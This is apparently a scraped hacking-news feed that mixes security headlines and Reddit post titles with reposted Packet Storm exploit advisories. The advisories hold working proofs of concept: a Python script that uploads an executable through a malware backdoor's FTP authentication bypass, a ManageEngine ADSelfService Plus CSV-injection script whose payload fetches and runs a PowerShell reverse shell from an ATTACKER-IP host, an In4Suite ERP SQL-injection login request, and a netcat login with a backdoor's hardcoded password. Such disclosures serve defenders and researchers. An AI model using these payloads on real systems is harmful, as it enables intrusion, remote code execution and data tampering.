Dark Reading: Attacks/Breaches
How to Adapt to Rising Consumer Expectations of Invisible Security

Working from home has changed users' ideas about seamless security. Here's how to address them.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Colonial Pipeline CEO Confirms Ransom Payment

CEO Joseph Blount says the $4.4 million payment was a necessary decision amid high-stakes infrastructure disruption.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
List of all CVE's and associated CVSSv2 Scores that Shodan Detects

https://external-preview.redd.it/h43iH-aYX-9VUDQnlfdiOpyYin1nQ-SEhUcYkX5VV0g.jpg?width=640&crop=smart&auto=webp&s=8e6cd16c49b4590f978f7f07664572e4a521e921 submitted by /u/hunglowbungalow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Midori - Bypass 2FA Authentication

https://external-preview.redd.it/JT3RdbnEvl0bVXaTnZY3088sXBGCozHpC3SJyA7HggY.jpg?width=640&crop=smart&auto=webp&s=54432e131bdd109be2333a12d4e3edd6da2b074a submitted by /u/redexrocks
[link] [comments]

hacking: security in practice
Windows PoC Exploit Released for Wormable RCE

"Windows PoC Exploit Released for Wormable RCE | Threatpost" https://threatpost.com/windows-exploit-wormable-rce/166289/

submitted by /u/fatrat957
[link] [comments]

hacking: security in practice
Why do hackers go to Israel?

or, at least that's what it seems like. Is Israel a safe haven for hackers? If so, why?

submitted by /u/onavrge
[link] [comments]

Exploit Collector
Backdoor.Win32.RMFdoor.c Authentication Bypass / Code Execution

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
Backdoor.Win32.RMFdoor.c malware suffers from bypass and code execution vulnerabilities.

MD5 | 03b0071dcdb16f4d5a5711e7c1362970

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5e2e6ca532c20ee6a59861d936df7076.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.RMFdoor.c
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 14920. Attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: 5e2e6ca532c20ee6a59861d936df7076
Vuln ID: MVID-2021-0220
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,52).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.127"
#195 * 256 + 52 = 49972
PORT=49972
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("Backdoor.Win32.RMFdoor.c / Authentication Bypass RCE")
print("MD5: 5e2e6ca532c20ee6a59861d936df7076")
print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ManageEngine ADSelfService Plus 6.1 CSV Injection

https://3.bp.blogspot.com/-Gb5I5b_xjQ0/WWlu86s-SoI/AAAAAAAAIJk/Vrr0JqyMe7wOp_97KyfJoVRHnDW4ZjPNwCLcBGAs/s1600/h112.png
ManageEngine ADSelfService Plus version 6.1 suffers from a CSV injection vulnerability.

MD5 | 9c738c10b3f5eed7a8d253d8dd163f19

Download
# Exploit Title: ManageEngine ADSelfService Plus 6.1 - CSV Injection
# Date: 19/05/2021
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Version: 6.1
# Description: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
import requests
import sys
import urllib3

"""
Proof of Concept:
Step-1
1- Malicious user sends POST request to login page https://TARGET-IP/j_security_check and sets j_username parameter as like the below.
=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0
Step-2
2- The request attempt will be saved to"User Attempts Audit Report" table that is under the Reports > Audit Reports section. Url: https://TARGET-IP/webclient/index.html#/reports/listReports/12
j_username parameter value is saved to "User Name" column which is start of line in the CSV file. If admin user exports this table as CSV file and confirms the alert popup, reverse shell connection
will be obtained by malicious user.
Details: https://docs.unsafe-inline.com/0day/manageengine-adselfservice-plus-6.1-csv-injection
"""
def loginReq(target,payload,getCsrf):
s = requests.Session()
data = {
"j_username": payload,
"j_password": "joker",
"domainName": "ADSelfService+Plus+Authentication",
"AUTHRULE_NAME": "ADAuthenticator",
"adscsrf": getCsrf

}
url = "https://"+target+"/j_security_check"
req = s.post(url, data=data, allow_redirects=False, verify=False)
if req.status_code == 302:
print("[+] Sending request is successful.")
print("[+] Injected payload: %s" %payload)
else:
print("[-] Something went wrong!")
print(req.status_code)

def getCsrfToken(target, payload=None):
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
gUrl = "https://" + target + "/authorization.do"
getCsrf = requests.get(url=gUrl, allow_redirects=False, verify=False)
print("[*] Csrf token: %s" %getCsrf.cookies['_zcsr_tmp'])
loginReq(target,payload,getCsrf)

def main(args):
if len(args) != 3:
print("usage: %s targetIp:port payload" %(args[0]))
print("Example: python3 adSelfServiceCsv.py 192.168.1.253:9251 \"=cmd|'/C powershell.exe -c iex (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/Invoke-PowerShellTcp.ps1')'!A0\"")
sys.exit(1)
getCsrfToken(target=args[1], payload=args[2])

if __name__ == "__main__":
main(args=sys.argv)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
In4Suit ERP 3.2.74.1370 SQL Injection

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
In4Suit ERP version 3.2.74.1370 suffers from a remote SQL injection vulnerability.

MD5 | 631db13ab8c6191f9561ffd9735c6f99

Download
# Exploit Title: In4Suit ERP 3.2.74.1370 - 'txtLoginId' SQL injection
# Date: 18/05/2021
# Exploit Author: Gulab Mondal
# Vendor Homepage: https://www.in4velocity.com/in4suite-erp.html
# Version: In4Suite ERP 3.2.74.1370
# Tested on: Windows

-----------------------------------------

SQL injection in In4Suite ERP 3.2.74.1370 allows remote attackers to
modify or delete data, causing persistent changes to the application's
content or behavior by using malicious SQL queries.

--------------
# Error condition
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt=" "

# SQL Injection exploitation
POST /CheckLogin.asp HTTP/1.1
Host: 127.0.0.1

txtLoginId=admin OR '1=1&txtpassword=test&cmbLogin=Login&hdnPwdEncrypt="

------------------------------

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Psychward.ds Weak Hardcoded Password

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Backdoor.Win32.Psychward.ds malware suffers from a weak hardcoded password issue.

MD5 | f60eb970e61d7d058ea069685259b45d

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/9e22514c9b0e74c7fcb07b7c091f6123.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.ds
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 9878 and requires a password for remote user access. However, the backdoors password "nivag" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: 9e22514c9b0e74c7fcb07b7c091f6123
Vuln ID: MVID-2021-0219
Disclosure: 05/18/2021

Exploit/PoC:
nc64.exe x.x.x.x 9878
connected 05/18/21 09:39:43. version 0.2.1
pwd nivag
password accepted
dir
<..

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pipeline attack was a warning: Stop cyber threats, or suffer a disaster

https://cdn-images-1.medium.com/max/1400/1*Al3tcUnSlgMTc1-tsMa56A.png
By Jamil N. Jaffer, NSI Founder and Executive Director, and Gen. Keith Alexander (Ret.), NSI Advisory Board member

Continue reading on The SCIF »

___________________________
@hacking_Attack
@Hacking_Video